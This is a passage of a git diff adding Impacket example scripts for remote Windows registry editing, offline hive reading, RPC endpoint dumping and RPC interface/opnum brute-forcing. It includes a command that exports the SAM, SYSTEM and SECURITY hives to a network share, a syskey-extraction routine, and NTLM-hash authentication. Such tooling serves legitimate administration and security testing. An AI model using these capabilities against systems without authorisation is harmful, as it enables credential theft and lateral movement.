samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + + dwType = getattr(rrp, self.__options.vt, None) + + if dwType is None or not self.__options.vt.startswith('REG_'): + raise Exception('Error parsing value type %s' % self.__options.vt) + + #Fix (?) for packValue function + if dwType in ( + rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN, + rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN + ): + valueData = int(self.__options.vd) + else: + valueData = self.__options.vd + + ans3 = rrp.hBaseRegSetValue( + dce, ans2['phkResult'], self.__options.v, dwType, valueData + ) + + if ans3['ErrorCode'] == 0: + print('Successfully set key %s\\%s of type %s to value %s' % ( + keyName, self.__options.v, self.__options.vt, valueData + )) + else: + print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % ( + ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData + )) + + def delete(self, dce, keyName): + hRootKey, subKey = self.__strip_root_key(dce, keyName) + + # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) + if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey + subKeyDelete = subKey + subKey = '\\'.join(subKey.split('\\')[:-1]) + + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + # Should I use ans2? + try: + ans3 = rrp.hBaseRegDeleteKey( + dce, hRootKey, subKeyDelete, + ) + except rpcrt.DCERPCException as e: + if e.error_code == 5: + #TODO: Check if DCERPCException appears only because of existing subkeys + print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName) + return + else: + raise + except Exception as e: + logging.error('Unhandled exception while hBaseRegDeleteKey') + return + + if ans3['ErrorCode'] == 0: + print('Successfully deleted subkey %s' % ( + keyName + )) + else: + print('Error 0x%08x while deleting subkey %s' % ( + ans3['ErrorCode'], keyName + )) + + elif self.__options.v: # Delete single value + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + ans3 = rrp.hBaseRegDeleteValue( + dce, ans2['phkResult'], self.__options.v + ) + + if ans3['ErrorCode'] == 0: + print('Successfully deleted key %s\\%s' % ( + keyName, self.__options.v + )) + else: + print('Error 0x%08x while deleting key %s\\%s' % ( + ans3['ErrorCode'], keyName, self.__options.v + )) + + elif self.__options.ve: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) + + ans3 = rrp.hBaseRegDeleteValue( + dce, ans2['phkResult'], '' + ) + + if ans3['ErrorCode'] == 0: + print('Successfully deleted value %s\\%s' % ( + keyName, 'Default' + )) + else: + print('Error 0x%08x while deleting value %s\\%s' % ( + ans3['ErrorCode'], keyName, self.__options.v + )) + + elif self.__options.va: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + i = 0 + allSubKeys = [] + while True: + try: + ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i) + lp_value_name = ans3['lpValueNameOut'][:-1] + allSubKeys.append(lp_value_name) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + + ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + for subKey in allSubKeys: + try: + ans5 = rrp.hBaseRegDeleteValue( + dce, ans4['phkResult'], subKey + ) + if ans5['ErrorCode'] == 0: + print('Successfully deleted value %s\\%s' % ( + keyName, subKey + )) + else: + print('Error 0x%08x in deletion of value %s\\%s' % ( + ans5['ErrorCode'], keyName, subKey + )) + except Exception as e: + print('Unhandled error %s in deletion of value %s\\%s' % ( + str(e), keyName, subKey + )) + + def __strip_root_key(self, dce, keyName): + # Let's strip the root key + try: + rootKey = keyName.split('\\')[0] + subKey = '\\'.join(keyName.split('\\')[1:]) + except Exception: + raise Exception('Error parsing keyName %s' % keyName) + if rootKey.upper() == 'HKLM': + ans = rrp.hOpenLocalMachine(dce) + elif rootKey.upper() == 'HKU': + ans = rrp.hOpenCurrentUser(dce) + elif rootKey.upper() == 'HKCR': + ans = rrp.hOpenClassesRoot(dce) + else: + raise Exception('Invalid root key %s ' % rootKey) + hRootKey = ans['phKey'] + return hRootKey, subKey + + def __print_key_values(self, rpc, keyHandler): + i = 0 + while True: + try: + ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i) + lp_value_name = ans4['lpValueNameOut'][:-1] + if len(lp_value_name) == 0: + lp_value_name = '(Default)' + lp_type = ans4['lpType'] + lp_data = b''.join(ans4['lpData']) + print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ') + self.__parse_lp_data(lp_type, lp_data) + i += 1 + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + + def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index): + index = 0 + while True: + try: + subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index) + index += 1 + ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'], + samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) + newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\' + print(newKeyName) + self.__print_key_values(rpc, ans['phkResult']) + self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0) + except rrp.DCERPCSessionError as e: + if e.get_error_code() == ERROR_NO_MORE_ITEMS: + break + except rpcrt.DCERPCException as e: + if str(e).find('access_denied') >= 0: + logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) + continue + elif str(e).find('rpc_x_bad_stub_data') >= 0: + logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) + return + raise + + @staticmethod + def __parse_lp_data(valueType, valueData): + try: + if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: + if type(valueData) is int: + print('NULL') + else: + print("%s" % (valueData.decode('utf-16le')[:-1])) + elif valueType == rrp.REG_BINARY: + print('') + hexdump(valueData, '\t') + elif valueType == rrp.REG_DWORD: + print("0x%x" % (unpack(' 1: + print('') + hexdump(valueData, '\t') + else: + print(" NULL") + except: + print(" NULL") + elif valueType == rrp.REG_MULTI_SZ: + print("%s" % (valueData.decode('utf-16le')[:-2])) + else: + print("Unknown Type 0x%x!" % valueType) + hexdump(valueData) + except Exception as e: + logging.debug('Exception thrown when printing reg value %s' % str(e)) + print('Invalid data') + pass + + +if __name__ == '__main__': + + # Init the example's logger theme + logger.init() + # Explicitly changing the stdout encoding format + if sys.stdout.encoding is None: + # Output is redirected to a file + sys.stdout = codecs.getwriter('utf8')(sys.stdout) + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.") + + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + subparsers = parser.add_subparsers(help='actions', dest='action') + + # A query command + query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that ' + 'are located under a specified subkey in the registry.') + query_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU, HKCR.') + query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be queried. If omitted, all value names for keyName are returned. ') + query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' + 'value or empty value name') + query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value ' + 'names recursively.') + + # An add command + add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') + add_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU, HKCR.') + add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be set.') + add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' + 'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, ' + 'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD', + default='REG_SZ') + add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry ' + 'value data that is to be set.', default='') + + # An delete command + delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') + delete_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU, HKCR.') + delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' + 'value name that is to be deleted.') + delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.') + delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).') + + # A copy command + # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' + # 'computer') + + #A save command + save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the ' + 'registry in a specified file.') + save_parser.add_argument('-keyName', action='store', required=True, + help='Specifies the full path of the subkey. The ' + 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' + ' HKU, HKCR.') + save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to') + + # A special backup command to save HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY + backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY to a specified file.') + backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, + help='Output UNC path the target system must export the registry saves to') + + # A load command + # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in ' + # 'the registry.') + + # An unload command + # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the ' + # 'reg load operation.') + + # A compare command + # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries') + + # A export command + # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into' + # 'a file') + + # A import command + # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, ' + # 'and values into the remote computer\'s registry') + + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + group.add_argument('-k', action="store_true", + help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' + 'target parameters. If valid credentials cannot be found, it will use the ones specified ' + 'in the command line') + group.add_argument('-aesKey', action="store", metavar="hex key", + help='AES key to use for Kerberos Authentication (128 or 256 bits)') + + group = parser.add_argument_group('connection') + + group.add_argument('-dc-ip', action='store', metavar="ip address", + help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' + 'the target parameter') + group.add_argument('-target-ip', action='store', metavar="ip address", + help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' + 'This is useful when target is the NetBIOS name and you cannot resolve it') + group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", + help='Destination port to connect to SMB Server') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if options.target_ip is None: + options.target_ip = remoteName + + if domain is None: + domain = '' + + if options.aesKey is not None: + options.k = True + + if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: + from getpass import getpass + + password = getpass("Password:") + + regHandler = RegHandler(username, password, domain, options) + try: + regHandler.run(remoteName, options.target_ip) + except Exception as e: + #import traceback + #traceback.print_exc() + logging.error(str(e)) diff --git a/examples/registry-read.py b/examples/registry-read.py new file mode 100644 index 0000000..8f7de8f --- /dev/null +++ b/examples/registry-read.py @@ -0,0 +1,172 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# A Windows Registry Reader Example +# +# Author: +# Alberto Solino (@agsolino) +# +# Reference for: +# winregistry.py +# + +from __future__ import division +from __future__ import print_function +import sys +import argparse +import ntpath +from binascii import unhexlify, hexlify + +from impacket.examples import logger +from impacket import version +from impacket import winregistry + + +def bootKey(reg): + baseClass = 'ControlSet001\\Control\\Lsa\\' + keys = ['JD','Skew1','GBG','Data'] + tmpKey = '' + + for key in keys: + tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8]) + + transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] + + syskey = '' + for i in range(len(tmpKey)): + syskey += tmpKey[transforms[i]] + + print(hexlify(syskey)) + +def getClass(reg, className): + regKey = ntpath.dirname(className) + regClass = ntpath.basename(className) + + value = reg.getClass(className) + + if value is None: + return + + print("[%s]" % regKey) + + print("Value for Class %s: \n" % regClass, end=' ') + + winregistry.hexdump(value,' ') + +def getValue(reg, keyValue): + regKey = ntpath.dirname(keyValue) + regValue = ntpath.basename(keyValue) + + value = reg.getValue(keyValue) + + print("[%s]\n" % regKey) + + if value is None: + return + + print("Value for %s:\n " % regValue, end=' ') + reg.printValue(value[0],value[1]) + +def enumValues(reg, searchKey): + key = reg.findKey(searchKey) + + if key is None: + return + + print("[%s]\n" % searchKey) + + values = reg.enumValues(key) + print(values) + + for value in values: + print(" %-30s: " % value, end=' ') + data = reg.getValue('%s\\%s'%(searchKey,value.decode('utf-8'))) + # Special case for binary string.. so it looks better formatted + if data[0] == winregistry.REG_BINARY: + print('') + reg.printValue(data[0],data[1]) + print('') + else: + reg.printValue(data[0],data[1]) + +def enumKey(reg, searchKey, isRecursive, indent=' '): + parentKey = reg.findKey(searchKey) + + if parentKey is None: + return + + keys = reg.enumKey(parentKey) + + for key in keys: + print("%s%s" %(indent, key)) + if isRecursive is True: + if searchKey == '\\': + enumKey(reg, '\\%s'%key,isRecursive,indent+' ') + else: + enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ') + +def walk(reg, keyName): + return reg.walk(keyName) + + +def main(): + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.") + + parser.add_argument('hive', action='store', help='registry hive to open') + subparsers = parser.add_subparsers(help='actions', dest='action') + # A enum_key command + enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key') + enumkey_parser.add_argument('-name', action='store', required=True, help='registry key') + enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)') + + # A enum_values command + enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key') + enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key') + + # A get_value command + getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value') + getvalue_parser.add_argument('-name', action='store', required=True, help='registry value') + + # A get_class command + getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class') + getclass_parser.add_argument('-name', action='store', required=True, help='registry class name') + + # A walk command + walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down') + walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from') + + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + reg = winregistry.Registry(options.hive) + + if options.action.upper() == 'ENUM_KEY': + print("[%s]" % options.name) + enumKey(reg, options.name, options.recursive) + elif options.action.upper() == 'ENUM_VALUES': + enumValues(reg, options.name) + elif options.action.upper() == 'GET_VALUE': + getValue(reg, options.name) + elif options.action.upper() == 'GET_CLASS': + getClass(reg, options.name) + elif options.action.upper() == 'WALK': + walk(reg, options.name) + + reg.close() + +if __name__ == "__main__": + main() diff --git a/examples/rpcdump.py b/examples/rpcdump.py new file mode 100644 index 0000000..37322e0 --- /dev/null +++ b/examples/rpcdump.py @@ -0,0 +1,214 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# DCE/RPC endpoint mapper dumper. +# +# Author: +# Javier Kohen +# Alberto Solino (@agsolino) +# +# Reference for: +# DCE/RPC. +# + +from __future__ import division +from __future__ import print_function +import sys +import logging +import argparse + +from impacket.http import AUTH_NTLM +from impacket.examples import logger +from impacket.examples.utils import parse_target +from impacket import uuid, version +from impacket.dcerpc.v5 import transport, epm +from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ + RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ + RPC_PROXY_RPC_OUT_DATA_404_ERR + +class RPCDump: + KNOWN_PROTOCOLS = { + 135: {'bindstr': r'ncacn_ip_tcp:%s[135]'}, + 139: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, + 443: {'bindstr': r'ncacn_http:[593,RpcProxy=%s:443]'}, + 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, + 593: {'bindstr': r'ncacn_http:%s'} + } + + def __init__(self, username = '', password = '', domain='', hashes = None, port=135): + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash = '' + self.__nthash = '' + self.__port = port + self.__stringbinding = '' + if hashes is not None: + self.__lmhash, self.__nthash = hashes.split(':') + + def dump(self, remoteName, remoteHost): + """Dumps the list of endpoints registered with the mapper + listening at addr. remoteName is a valid host name or IP + address in string format. + """ + + logging.info('Retrieving endpoint list from %s' % remoteName) + + entries = [] + + self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName + logging.debug('StringBinding %s' % self.__stringbinding) + rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) + + if self.__port in [139, 445]: + # Setting credentials for SMB + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash) + + # Setting remote host and port for SMB + rpctransport.setRemoteHost(remoteHost) + rpctransport.set_dport(self.__port) + elif self.__port in [443]: + # Setting credentials only for RPC Proxy, but not for the MSRPC level + rpctransport.set_credentials(self.__username, self.__password, self.__domain, + self.__lmhash, self.__nthash) + + # Usually when a server doesn't support NTLM, it also doesn't expose epmapper (nowadays + # only RDG servers may potentially expose a epmapper via RPC Proxy). + # + # Also if the auth is not NTLM, there is no way to get a target + # NetBIOS name, but epmapper ACL requires you to specify it. + rpctransport.set_auth_type(AUTH_NTLM) + else: + # We don't need to authenticate to 135 and 593 ports + pass + + try: + entries = self.__fetchList(rpctransport) + except Exception as e: + #raise + + # This may contain UTF-8 + error_text = 'Protocol failed: %s' % e + logging.critical(error_text) + + if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \ + RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ + RPC_PROXY_CONN_A1_404_ERR in error_text or \ + RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: + logging.critical("This usually means the target does not allow " + "to connect to its epmapper using RpcProxy.") + return + + # Display results. + + endpoints = {} + # Let's groups the UUIDS + for entry in entries: + binding = epm.PrintStringBinding(entry['tower']['Floors']) + tmpUUID = str(entry['tower']['Floors'][0]) + if (tmpUUID in endpoints) is not True: + endpoints[tmpUUID] = {} + endpoints[tmpUUID]['Bindings'] = list() + if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS: + endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] + else: + endpoints[tmpUUID]['EXE'] = 'N/A' + endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8') + endpoints[tmpUUID]['Bindings'].append(binding) + + if tmpUUID[:36] in epm.KNOWN_PROTOCOLS: + endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]] + else: + endpoints[tmpUUID]['Protocol'] = "N/A" + #print("Transfer Syntax: %s" % entry['tower']['Floors'][1]) + + for endpoint in list(endpoints.keys()): + print("Protocol: %s " % endpoints[endpoint]['Protocol']) + print("Provider: %s " % endpoints[endpoint]['EXE']) + print("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])) + print("Bindings: ") + for binding in endpoints[endpoint]['Bindings']: + print(" %s" % binding) + print("") + + if entries: + num = len(entries) + if 1 == num: + logging.info('Received one endpoint.') + else: + logging.info('Received %d endpoints.' % num) + else: + logging.info('No endpoints found.') + + + def __fetchList(self, rpctransport): + dce = rpctransport.get_dce_rpc() + + dce.connect() + #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) + #dce.bind(epm.MSRPC_UUID_PORTMAP) + #rpcepm = epm.DCERPCEpm(dce) + + resp = epm.hept_lookup(None, dce=dce) + + dce.disconnect() + + return resp + +# Process command-line arguments. +if __name__ == '__main__': + # Init the example's logger theme + logger.init() + print(version.BANNER) + + parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information via epmapper.") + parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + group = parser.add_argument_group('connection') + + group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' + 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' + 'name and you cannot resolve it') + group.add_argument('-port', choices=['135', '139', '443', '445', '593'], nargs='?', default='135', metavar="destination port", + help='Destination port to connect to RPC Endpoint Mapper') + + group = parser.add_argument_group('authentication') + + group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + + options = parser.parse_args() + + if options.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + + domain, username, password, remoteName = parse_target(options.target) + + if domain is None: + domain = '' + + if password == '' and username != '' and options.hashes is None: + from getpass import getpass + password = getpass("Password:") + + if options.target_ip is None: + options.target_ip = remoteName + + dumper = RPCDump(username, password, domain, options.hashes, int(options.port)) + + dumper.dump(remoteName, options.target_ip) diff --git a/examples/rpcmap.py b/examples/rpcmap.py new file mode 100644 index 0000000..a8b5e8c --- /dev/null +++ b/examples/rpcmap.py @@ -0,0 +1,398 @@ +#!/usr/bin/env python +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Scan for listening MSRPC interfaces +# +# This binds to the MGMT interface and gets a list of interface UUIDs. +# If the MGMT interface is not available, it takes a list of interface UUIDs +# seen in the wild and tries to bind to each interface. +# +# If -brute-opnums is specified, the script tries to call each of the first N +# operation numbers for each UUID in turn and reports the outcome of each call. +# +# This can generate a burst of connections to the given endpoint! +# +# Authors: +# Catalin Patulea +# Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) +# +# TODO: +# [ ] The rpcmap.py connections are never closed. We need to close them. +# This will require changing SMB and RPC libraries. +# + +from __future__ import division +from __future__ import print_function +import re +import sys +import logging +import argparse + +from impacket.http import AUTH_BASIC +from impacket.examples import logger, rpcdatabase +from impacket.examples.utils import parse_credentials +from impacket import uuid, version +from impacket.dcerpc.v5.epm import KNOWN_UUIDS +from impacket.dcerpc.v5 import transport, rpcrt, epm +from impacket.dcerpc.v5.rpcrt import DCERPCException +from impacket.dcerpc.v5.transport import DCERPCStringBinding, \ + SMBTransport +from impacket.dcerpc.v5 import mgmt +from impacket.dcerpc.v5.rpch import RPC_PROXY_CONN_A1_401_ERR, \ + RPC_PROXY_INVALID_RPC_PORT_ERR, RPC_PROXY_HTTP_IN_DATA_401_ERR, \ + RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ + RPC_PROXY_RPC_OUT_DATA_404_ERR + + +class RPCMap(): + def __init__(self, stringbinding='', authLevel=6, bruteUUIDs=False, uuids=(), + bruteOpnums=False, opnumMax=64, bruteVersions=False, versionMax=64): + try: + self.__stringbinding = DCERPCStringBinding(stringbinding) + except: + raise Exception("Provided stringbinding is not correct") + + # Empty network address is used to specify that the network address + # must be obtained from NTLMSSP of RPC proxy. + if self.__stringbinding.get_network_address() == '' and \ + not self.__stringbinding.is_option_set("RpcProxy"): + raise Exception("Provided stringbinding is not correct") + + self.__authLevel = authLevel + self.__brute_uuids = bruteUUIDs + self.__uuids = uuids + self.__brute_opnums = bruteOpnums + self.__opnum_max = opnumMax + self.__brute_versions = bruteVersions + self.__version_max = versionMax + + self.__msrpc_lockout_protection = False + self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) + self.__dce = self.__rpctransport.get_dce_rpc() + + def get_rpc_transport(self): + return self.__rpctransport + + def set_transport_credentials(self, username, password, domain='', hashes=None): + if hashes is not None: + lmhash, nthash = hashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(self.__rpctransport, 'set_credentials'): + self.__rpctransport.set_credentials(username, password, domain, lmhash, nthash) + + def set_rpc_credentials(self, username, password, domain='', hashes=None): + if hashes is not None: + lmhash, nthash = hashes.split(':') + else: + lmhash = '' + nthash = '' + + if hasattr(self.__dce, 'set_credentials'): + self.__dce.set_credentials(username, password, domain, lmhash, nthash) + + if username != '' or password != '' or hashes != '': + self.__msrpc_lockout_protection = True + + def set_smb_info(self, smbhost=None, smbport=None): + if isinstance(self.__rpctransport, SMBTransport): + if smbhost: + self.__rpctransport.setRemoteHost(smbhost) + if smbport: + self.__rpctransport.set_dport(smbport) + + def connect(self): + self.__dce.set_auth_level(self.__authLevel) + self.__dce.connect() + + def disconnect(self): + self.__dce.disconnect() + + def do(self): + try: + # Connecting to MGMT interface + self.__dce.bind(mgmt.MSRPC_UUID_MGMT) + + # Retrieving interfaces UUIDs from the MGMT interface + ifids = mgmt.hinq_if_ids(self.__dce) + + # If -brute-uuids is set, bruteforcing UUIDs instead of parsing ifids + # We must do it after mgmt.hinq_if_ids to prevent a specified account from being locked out + if self.__brute_uuids: + self.bruteforce_uuids() + return + + uuidtups = set( + uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData()) + for index in range(ifids['if_id_vector']['count']) + ) + + # Adding MGMT interface itself + uuidtups.add(('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0')) + + for tup in sorted(uuidtups): + self.handle_discovered_tup(tup) + except DCERPCException as e: + # nca_s_unk_if for Windows SMB + # reason_not_specified for Samba 4 + # abstract_syntax_not_supported for Samba 3 + if str(e).find('nca_s_unk_if') >= 0 or \ + str(e).find('reason_not_specified') >= 0 or \ + str(e).find('abstract_syntax_not_supported') >= 0: + logging.info("Target MGMT interface not available") + logging.info("Bruteforcing UUIDs. The result may not be complete.") + self.bruteforce_uuids() + elif str(e).find('rpc_s_access_denied') and self.__msrpc_lockout_protection == False: + logging.info("Target MGMT interface requires authentication, but no credentials provided.") + logging.info("Bruteforcing UUIDs. The result may not be complete.") + self.bruteforce_uuids() + else: + raise + + def bruteforce_versions(self, interface_uuid): + results = [] + + for i in range(self.__version_max + 1): + binuuid = uuid.uuidtup_to_bin((interface_uuid, "%d.0" % i)) + # Is there a way to test multiple opnums in a single rpc channel? + self.__dce.connect() + + try: + self.__dce.bind(binuuid) + except Exception as e: + if str(e).find("abstract_syntax_not_supported") >= 0: + results.append("abstract_syntax_not_supported (version not supported)") + else: + results.append(str(e)) + else: + results.append("success") + + if len(results) > 1 and results[-1] == results[-2]: + suffix = results[-1] + while results and results[-1] == suffix: + results.pop() + + for i, result in enumerate(results): + print("Versions %d: %s" % (i, result)) + + print("Versions %d-%d: %s" % (len(results), self.__version_max, suffix)) + else: + for i, result in enumerate(results): + print("Versions %d: %s" % (i, result)) + + def bruteforce_opnums(self, binuuid): + results = [] + + for i in range(self.__opnum_max + 1): + # Is there a way to test multiple opnums in a single rpc channel? + self.__dce.connect() + self.__dce.bind(binuuid) + self.__dce.call(i, b"") + + try: + self.__dce.recv() + except Exception as e: + if str(e).find("nca_s_op_rng_error") >= 0: + results.append("nca_s_op_rng_error (opnum not found)") + else: + results.append(str(e)) + else: + results.append("success") + + if len(results) > 1 and results[-1] == results[-2]: + suffix = results[-1] + while results and results[-1] == suffix: + results.pop() + + for i, result in enumerate(results): + print("Opnum %d: %s" % (i, result)) + + print("Opnums %d-%d: %s" % (len(results), self.__opnum_max, suffix)) + else: 